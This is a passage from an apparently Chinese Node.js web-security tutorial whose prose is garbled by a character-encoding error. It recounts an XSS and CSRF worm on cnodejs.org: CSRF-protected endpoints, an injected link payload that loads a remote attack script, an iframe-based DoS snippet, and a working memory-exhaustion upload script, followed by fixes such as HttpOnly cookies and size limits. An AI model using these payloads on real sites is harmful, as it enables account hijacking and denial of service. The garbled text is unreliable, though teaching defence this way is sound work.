£¨1£©·¢²¼»Ø¸´ urlµØÖ·£ºhttp://cnodejs.org/503cc6d5f767cc9a5120d351/reply postÊý¾Ý£º r_content:¶¥ÆðÀ´£¬±ØÐëµÄ _csrf:Is5z5W5KmmKwlIAYV5UDly9F
£¨2£©É¾³ý»Ø¸´
ÇëÇóµØÖ·£ºhttp://cnodejs.org/reply/504ffd5d5aa28e094300fd3a/delete
postÊý¾Ý£º
reply_id:504ffd5d5aa28e094300fd3a
_csrf:Is5z5W5KmmKwlIAYV5UDly9F
£¨3£©¹Ø×¢
ÇëÇóµØÖ·£º http://cnodejs.org/ user/follow
postÊý¾Ý£º
follow_id: '4efc278525fa69ac690000f7',//ÎÒÔÚcnodejsÍøÕ¾µÄÓû§id
_csrf:Is5z5W5KmmKwlIAYV5UDly9F |
½Ó¿ÚÎÒÃǶ¼Äõ½ÁË£¬È»ºó¾ÍÊǹ¹½¨¹¥»÷js½Å±¾ÁË£¬ÎÒÃǵÄjs½Å±¾¹¥»÷Á÷³Ì¾ÍÊÇ£º
£¨1£©»ñÈ¡_csrfÖµ
£¨2£©·¢²¼»Ø¸´
£¨3£©É¾³ý»Ø¸´
£¨4£©¼Ó¹Ø×¢
£¨5£©Ìø×ªµ½Õý³£µÄµØÖ·£¨·ÀÖ¹Óû§·¢ÏÖ£©
×îºóÎÒÃǽ«Õû¸ö¹¥»÷½Å±¾·ÅÔÚNAEÉÏ£¨ÏÖÔÚNAEÒѾ¹Ø±ÕÁË£¬µ±ÄêÊDZȽÏÁ÷ÐеÄÒ»¸ö²¿ÊðNode.jsµÄÔÆÆ½Ì¨£©£¬È»ºó½«¹¥»÷´úÂë×¢Èëµ½<a>±êÇ©£º
javascript:$.getScript('http://rrest.cnodejs.net/static/cnode_csrf.js') //"id= 'follow_btn'name='http://rrest.cnodejs.net/static/cnode_csrf.js' onmousedown='$.getScript(this.name)//' |
Õâ´ÎµÄ×¢Èë¹¥»÷chrome£¬firefox£¬ie7+µÈÖ÷Á÷ä¯ÀÀÆ÷¶¼ÎÞÒ»ÐÒÃ⣬ÏÂÃæÊÇ×¢Èë³É¹¦µÄ½ØÍ¼£º

²»Ò»»á¾ÍÓÐÐí¶àÍøÓÑÖÐÕÐÁË£¬ÎҵĹØ×¢ÐÅÏ¢¼Ç¼¶àÁ˲»ÉÙ£º

ͨ¹ýÕâ´ÎXSSºÍCSRFµÄÁªñǹ¥»÷£¬snoopy³ÉΪÁËcnodejs·ÛË¿Êý×î¶àµÄÕʺ𣻨¹ËÕû¸öÁ÷³Ì£¬Ö÷Òª»¹ÊÇÒÀ¿¿XSS×¢Èë²ÅÍê³ÉÁ˹¥»÷£¬ËùÒÔÎÒÃÇÏëÒªÈÃÕ¾µã¸ü¼Ó°²È«£¬ÈκÎXSS¿ÉÄܵÄ×¢Èëµã¶¼Ò»¶¨ÒªÀÎÀΰѹأ¬³¹µ×¹ýÂ˵ôÈκοÉÄÜÓзçÏÕµÄ×Ö·û¡£

ÁíÍâÖµµÃÒ»ÌáµÄÊÇcookieµÄ½Ù³Ö£¬¶ñÒâÓû§ÔÚXSS×¢Èë³É¹¦Ö®ºó£¬Ò»°ã»áÓÃdocument.cookieÀ´»ñÈ¡Óû§Õ¾µãµÄcookieÖµ£¬´Ó¶øÎ±ÔìÓû§Éí·ÝÔì³ÉÆÆ»µ¡£´æ´¢ÔÚä¯ÀÀÆ÷¶ËµÄcookieÓÐÒ»¸ö·Ç³£ÖØÒªµÄÊôÐÔHttpOnly£¬µ±±êʶÓÐHttpOnlyÊôÐÔµÄcookie£¬¹¥»÷ÕßÊÇÎÞ·¨Í¨¹ýjs½Å±¾document.cookie»ñÈ¡µÄ£¬ËùÒÔ¶ÔÓÚÒ»°ãsessionidµÄ´æ´¢ÎÒÃǶ¼½¨ÒéÔÚдÈë¿Í»§¶Ëcookieʱ´øÉÏHttpOnly£¬expressÔÚдcookie´øÉÏHttpOnlyÊôÐԵĴúÂëÈçÏ£º
res.cookie('rememberme', '1', { expires: new Date(Date.now() + 900000), httpOnly: true }); |
Ó¦ÓòãDoS¾Ü¾ø·þÎñ
±¾Õ½«½éÉÜÔÚÓ¦ÓòãÃæµÄDoS¹¥»÷£¬Ó¦ÓòãһЩºÜСµÄ©¶´£¬¾ÍÓпÉÄܱ»¹¥»÷Õßץס´Ó¶øÔì³ÉÕû¸öϵͳ̱»¾£¬°üÀ¨ÉÏÃæÌáµ½µÄNode.js¹ÜµÀ¾Ü¾ø·þÎñ©¶´¶¼ÊÇÊôÓÚÕâÀ๥»÷¡£
Ó¦ÓòãºÍÍøÂç²ãµÄDoS
×î¾µäµÄÍøÂç²ãDoS¾ÍÊÇSYN flood£¬ËüÀûÓÃÁËtcpÐÒéµÄÉè¼ÆÈ±ÏÝ£¬ÓÉÓÚtcpÐÒéµÄ¹ã·ºÊ¹Óã¬ËùÒÔĿǰÏëÒª¸ùÖÎÕâ¸ö©¶´ÊDz»¿ÉÄܵġ£
tcpµÄ¿Í»§¶ËºÍ·þÎñ¶ËÏëÒª½¨Á¢Á¬½ÓÐèÒª¾¹ýÈý´ÎÎÕÊֵĹý³Ì£¬ËüÃÇ·Ö±ðÊÇ£º
£¨1£©¿Í»§¶ËÏò·þÎñ¶Ë·¢ËÍSYN°ü
£¨2£©·þÎñ¶ËÏò¿Í»§¶Ë·¢ËÍSYN/ACK°ü
£¨3£©¿Í»§¶ËÏò·þÎñ¶Ë·¢ËÍACK°ü
¹¥»÷ÕßÊ×ÏÈʹÓôóÁ¿È⼦·þÎñÆ÷²¢Î±ÔìÔ´ipµØÖ·£¬Ïò·þÎñ¶Ë·¢ËÍSYN°ü£¬Ï£Íû½¨Á¢tcpÁ¬½Ó£¬·þÎñ¶Ë¾Í»áÕý³£µÄÏìÓ¦SYN/ACK°ü£¬µÈ´ý¿Í»§¶ËÏìÓ¦¡£¹¥»÷¿Í»§¶Ë²¢²»»áÈ¥ÏìÓ¦ÕâЩSYN/ACK°ü£¬·þÎñ¶ËÅжϿͻ§¶Ë³¬Ê±¾Í»á¶ªÆúÕâ¸öÁ¬½Ó¡£Èç¹ûÕâЩ¹¥»÷Á¬½ÓÊýÁ¿¾Þ´ó£¬×îÖÕ·þÎñÆ÷¾Í»áÒòΪµÈ´ýºÍƵ·±´¦ÀíÕâÖÖ°ëÁ¬½Ó¶øÊ§È¥¶ÔÕý³£ÇëÇóµÄÏìÓ¦£¬´Ó¶øµ¼Ö¾ܾø·þÎñ¹¥»÷³É¹¦¡£
ͨ³£ÎÒÃÇ»áÒÀ¿¿Ò»Ð©Ó²¼þµÄ·À»ðǽÀ´¼õÇáÕâÀ๥»÷´øÀ´µÄΣº¦£¬ÍøÂç²ãµÄDDoS¹¥»÷·ÀÓùËã·¨·Ç³£¸´ÔÓ£¬ÎÒÃDZ¾½Ú½«ÌÖÂÛÓ¦ÓòãµÄDoS¹¥»÷¡£
Ó¦ÓòãµÄDoS¹¥»÷°éËæ×ÅÒ»¶¨µÄÒµÎñºÍweb·þÎñÆ÷µÄÌØÐÔ£¬ËùÒÔ¹¥»÷¸ü¼Ó¶àÑù»¯¡£Ä¿Ç°µÄÉÌÒµÓ²¼þÉ豸ºÜÄÑ¶ÔÆä×öµ½ÓÐЧµÄ·ÀÓù£¬Òò´ËËüµÄΣº¦ÐÔ¾ø¶Ô²»±ÈÍøÂç²ãµÄDDoSµÍ¡£
±ÈÈçºÚ¿ÍÔÚ¹¥ÏÝÁ˼¸¸öÁ÷Á¿±È½Ï´óµÄÍøÕ¾Ö®ºó£¬ÔÚÍøÒ³ÖÐ×¢ÈëÈçÏ´úÂ룺
<iframe src="http://attack web site url"></iframe> |
ÕâÑùÿ¸ö·ÃÎÊÕâÐ©ÍøÕ¾µÄ¿Í»§¶Ë¶¼³ÉÁ˺ڿ͹¥»÷Ä¿±êÍøÕ¾µÄ°ïÊÖ£¬Èç¹û±»¹¥»÷µÄ·¾¶ÊÇһЩÐèÒª´óÁ¿I/O¼ÆËãµÄ½Ó¿ÚµÄ»°£¬¸ÃÄ¿±êÍøÕ¾½«»áºÜ¿ìʧȥÏìÓ¦£¬ºÚ¿ÍDoS¹¥»÷³É¹¦¡£
¹Ø×¢Ó¦ÓòãµÄDoSÍùÍùÐèÒª´Óʵ¼ÊÒµÎñÈëÊÖ£¬ÕÒµ½¿ÉÄܱ»¹¥»÷µÄµØ·½£¬×öÕë¶ÔÐԵķÀÓù¡£
³¬´óBuffer
ÔÚ¿ª·¢ÖÐ×ÜÓÐÕâÑùµÄweb½Ó¿Ú£¬½ÓÊÕÓû§´«µÝÉÏÀ´µÄjson×Ö·û´®£¬È»ºó½«Æä±£´æµ½Êý¾Ý¿âÖУ¬ÎÒÃǼòµ¥¹¹½¨ÈçÏ´úÂ룺
var http = require('http'); http.createServer(function (req, res) { if(req.url === '/json' && req.method === 'POST'){//»ñÈ¡ÓÃÉÏ´«´úÂë var body = []; req.on('data',function(chunk){ body.push(chunk);//»ñÈ¡buffer }) req.on('end',function(){ body = Buffer.concat(body); res.writeHead(200, {'Content-Type': 'text/plain'}); //db.save(body) ÕâÀïÊÇÊý¾Ý¿âÈë¿â²Ù×÷ res.end('ok'); }) } }).listen(8124); |
ÎÒÃÇʹÓÃbufferÊý×飬±£´æÓû§·¢Ë͹ýÀ´µÄÊý¾Ý£¬×îºóͨ¹ýBuffer.concat½«ËùÓÐbufferÁ¬½ÓÆðÀ´£¬²¢²åÈëµ½Êý¾Ý¿â¡£
×¢ÒâÕⲿ·Ö´úÂ룺
req.on('data',function(chunk){ body.push(chunk);//»ñÈ¡buffer }) |
²»ÄÜÓÃÏÂÃæ¼òµ¥µÄ×Ö·û´®Æ´½ÓÀ´´úÌæ£¬¿ÉÄÜÎÒÊÕµ½µÄÄÚÈݲ»ÊÇutf-8¸ñʽ£¬ÁíÍâ´ÓÆ´½ÓÐÔÄÜÉÏÀ´ËµÁ½ÕßÒ²²»ÊÇÒ»¸öÊýÁ¿¼¶µÄ£¬ÎÒÃÇ¿´ÈçϲâÊÔ£º
var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&'); console.time('string += buf'); var s = ''; for(var i=0;i<100000;i++){ s += buf; } s; console.timeEnd('string += buf');
console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
list.push(buf);
len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');
|
Õâ¸ö²âÊԽű¾·Ö±ðʹÓÃÁ½ÖÖ²»Í¨µÄ·½Ê½½«bufÁ¬½Ó10W´Î£¬²¢·µ»Ø×Ö·û´®£¬ÎÒÃÇ¿´ÏÂÔËÐнá¹û£º
string += buf: 66ms buf concat: 33ms |
ÎÒÃÇ¿´µ½£¬ÔËÐÐÐÔÄÜÏà²îÁËÕûÕûÒ»±¶£¬ËùÒÔµ±ÎÒÃÇÔÚ´¦ÀíÕâÀàÇé¿öµÄÊý¾Ýʱ£¬½¨ÒéʹÓÃBuffer.concatÀ´×ö¡£
ÏÖÔÚ¿ªÊ¼¹¹½¨Ò»¸ö³¬´óµÄ¾ßÓÐ700mbµÄbuffer£¬È»ºó°ÑËü±£´æ³ÉÎļþ:
var fs = require('fs'); var buf = new Buffer(1024*1024*700); buf.fill('h'); fs.writeFile('./large_file', buf, function(err){ if(err) return console.log(err); console.log('ok') }) |
ÎÒÃǹ¹½¨¹¥»÷½Å±¾£¬°ÑÕâ¸ö³¬´óµÄÎļþ·¢ËͳöÈ¥£¬Èç¹û½ÓÊÕÕâ¸öPOSTµÄNode.js·þÎñÆ÷ÊÇÄÚ´æÖ»ÓÐ512mbµÄСÐÍÔÆÖ÷»ú£¬ÄÇôµ±¹¥»÷ÕßÉÏ´«Õâ¸ö³¬´óÎļþºó£¬ÔÆÖ÷»úÄÚ´æ»áÏûºÄ´ù¾¡¡£
var http = require('http'); var fs = require('fs'); var options = { hostname: '127.0.0.1', port: 8124, path: '/json', method: 'POST' }; var request = http.request(options, function(res) { res.setEncoding('utf8'); res.on('readable', function () { console.log(res.read()); }); }); fs.createReadStream('./large_file').pipe(request); |
ÎÒÃÇ¿´Ò»ÏÂNode.js·þÎñÆ÷ÔÚÊܹ¥»÷ǰºóÄÚ´æµÄʹÓÃÇé¿ö£º
{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 } { rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 } { rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 } { rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 } { rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 } |
ÄÇôӦ¸ÃÈçºÎ½â¾öÕâÀà¶ñÒâ¹¥»÷ÄØ£¿ÎÒÃÇÖ»ÐèÒª½«Node.js·þÎñÆ÷´úÂëÐÞ¸ÄÈçÏ£¬¾Í¿ÉÒÔ±ÜÃâÓû§ÉÏ´«¹ý´óµÄÊý¾ÝÁË£º
var http = require('http'); http.createServer(function (req, res) { if(req.url === '/json' && req.method === 'POST'){//»ñÈ¡ÓÃÉÏ´«´úÂë var body = []; var len = 0;//¶¨Òå±äÁ¿ÓÃÀ´¼Ç¼Óû§ÉÏ´«Îļþ´óС req.on('data',function(chunk){ body.push(chunk);//»ñÈ¡buffer len += chunk.length; if(len>=1024*1024){//ÿ´ÎÊÕµ½Ò»¸öbuffer¿é¶¼Òª±È½ÏÒ»ÏÂÊÇ·ñ³¬¹ý1mb res.end('too large');//Ö±½ÓÏìÓ¦´íÎó } }) req.on('end',function(){ body = Buffer.concat(body,len); res.writeHead(200, {'Content-Type': 'text/plain'}); //db.save(body) ÕâÀïÊý¾Ý¿âÈë¿â²Ù×÷ res.end('ok'); }) } }).listen(8124); |
ͨ¹ýÉÏÊö´úÂëµÄµ÷Õû£¬ÎÒÃÇÿ´ÎÊÕµ½Ò»¸öbuffer¿é¶¼»áÈ¥±È½ÏһϴóС£¬Èç¹ûÊý¾Ý³¬´óÔòÁ¢¿Ì½Ø¶ÏÉÏ´«£¬±£Ö¤¶ñÒâÓû§ÎÞ·¨ÉÏ´«³¬´óÎļþÏûºÄ·þÎñÆ÷ÎïÀíÄÚ´æ¡£
|